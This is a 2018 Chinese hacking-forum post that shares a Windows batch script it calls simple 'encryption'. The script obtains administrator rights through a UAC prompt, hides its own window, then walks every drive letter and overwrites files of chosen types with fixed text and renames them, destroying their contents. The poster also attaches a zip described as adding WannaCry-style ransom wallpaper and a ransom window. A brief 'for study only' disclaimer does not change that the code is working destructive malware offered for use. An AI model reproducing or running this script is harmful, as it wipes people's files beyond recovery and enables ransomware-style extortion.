技术宅的结界

 找回密码
 立即注册→加入我们

QQ登录

只需一步,快速开始

搜索
热搜: 下载 VB C 实现 编写
查看: 85|回复: 0
收起左侧

批处理简单"加密"全盘文件难以恢复

[复制链接]

3

主题

25

帖子

111

积分

用户组: 小·技术宅

UID
3517
精华
0
威望
0 点
宅币
86 个
贡献
0 次
宅之契约
0 份
在线时间
8 小时
注册时间
2018-3-2
发表于 2018-3-24 22:04:20 | 显示全部楼层 |阅读模式

欢迎访问技术宅的结界,请注册或者登录吧。

您需要 登录 才可以下载或查看,没有帐号?立即注册→加入我们

x
本帖最后由 套路 于 2018-3-24 22:06 编辑

以下代码与文件仅供交流与学习,不要用于法律外用途
此"加密"与Wannacry之内加密不同!!!
Wannacry为RSA2048非对称密码算法:国际标准非对称密码算法。其功能由Windows系统提供API接口,病毒调用该算法对密钥实施加密保护。算法使用一对公、私钥进行加解密操作:公钥负责加密,私钥负责解密(反之亦可,同于数字签名)。密钥长度2048比特(256个字节)。
而此代码为直接写入内容 机械硬盘还有点解密的希望
[Patch] 纯文本查看 复制代码
@echo off
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" ::begin前代码是获取管理员便于加密C盘文件 并且隐藏此窗口
if '%errorlevel%' NEQ '0' (
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
:index
cls
if "%1"=="h" goto begin 
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit 
:begin
for %%i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
    if exist %%i:\ (
        pushd %%i:\
            for /r %%a in (*.你想加密的文件后缀名 *.你想加密的文件后缀名 *.你想加密的文件后缀名) do (
                echo 你想设置的加密后文件内容 > "%%~a"
                ren "%%~a" "%%~nxa.你想设置的加密后文件后缀名"
            )
        popd
    )
)
pause

再改进一下,添加类似于Wannnacry的壁纸
添加类似于Wannacry的勒索窗口
就有了这个UselessFiles
UselessFiles.zip (426.84 KB, 下载次数: 10)

本版积分规则

QQ|申请友链|Archiver|手机版|小黑屋|技术宅的结界 ( 滇ICP备16008837号|网站地图

GMT+8, 2018-4-25 23:56 , Processed in 0.081011 second(s), 19 queries , Gzip On, Memcache On.

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表